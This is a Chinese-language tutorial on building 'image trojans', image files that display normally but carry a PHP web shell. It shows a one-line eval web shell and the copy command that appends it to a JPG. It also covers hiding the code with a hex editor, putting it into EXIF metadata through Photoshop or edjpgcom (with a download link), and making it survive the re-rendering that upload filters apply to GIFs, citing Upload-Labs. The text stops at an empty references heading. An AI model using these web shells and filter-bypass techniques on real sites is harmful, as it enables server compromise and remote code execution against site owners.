0x01什么是圖片木馬?
圖片木馬在網絡上沒有統一的定義,在這里我給出自己的定義。圖片木馬是一張能正常顯示又包含惡意代碼(比如一句話木馬)的圖片文件。
根據定義我們知道圖片木馬兩個條件:
- 圖片能正常顯示
- 包含能執行的而已代碼
總體思路:將惡意代碼寫在圖片文件中非圖片數據區,防止寫入導致圖片損壞。
常規的圖片格式有gif,png,jpg格式
0x02將惡意代碼寫在圖片尾部
方法一:copy法
准備一張正常圖片(a.jpg),新建一個文件內容寫入以下代碼(b.php)
<?php @eval($_POST['sbsw']);?>
使用以下命令生成圖片木馬muma.jpg
copy a.jpg/b + b.php/a = muma.jpg
/a表示ASCII碼 , /b代表二進制文件
方法二:二進制編輯器法
使用二進制編輯工具(比如winhex,utrl editor等等)直接寫惡意代碼到文件尾部。
這里我使用winhex給大家演示
0x03圖片描述法
jpg格式的圖片有exif這個結構,專門用來描述
方法一:ps法
使用ps打開圖片,在描述處填入惡意代碼,最后保存
其實也可以用gimp
方法二:edjpgcom
將要注入惡意代碼的圖片拖到edjpgcom.exe上,在edjpgcom彈出的輸入框中輸入一句話。
下載鏈接:https://pan.baidu.com/s/1ksyleLk034AGKmiy9E8a9A 提取碼: caep
0x04渲染繞過
適合格式:gif
現在的網站對於圖片上傳的防范越來越嚴,經常對上傳的圖片二次渲染。導致我們的通過方法思路一和思路二的方
法注入的而已代碼,在渲染之后被“清洗”掉了!這時候我們就得思考如何去繞過。
繞過思路:對比上傳前和上傳后的圖片的差異,找到相同數據同時又是非圖片數據區的地方,在在,此處寫入惡意代碼。
下載大佬開發的上傳繞過框架(uplaod bypass framework),里面有一個二次渲染繞過上傳
參考文章: 制作繞過二次渲染的圖片馬;Upload-Labs第Pass-16通關(二次渲染繞過)詳解
步驟一:對比
步驟二:寫入
參考文章: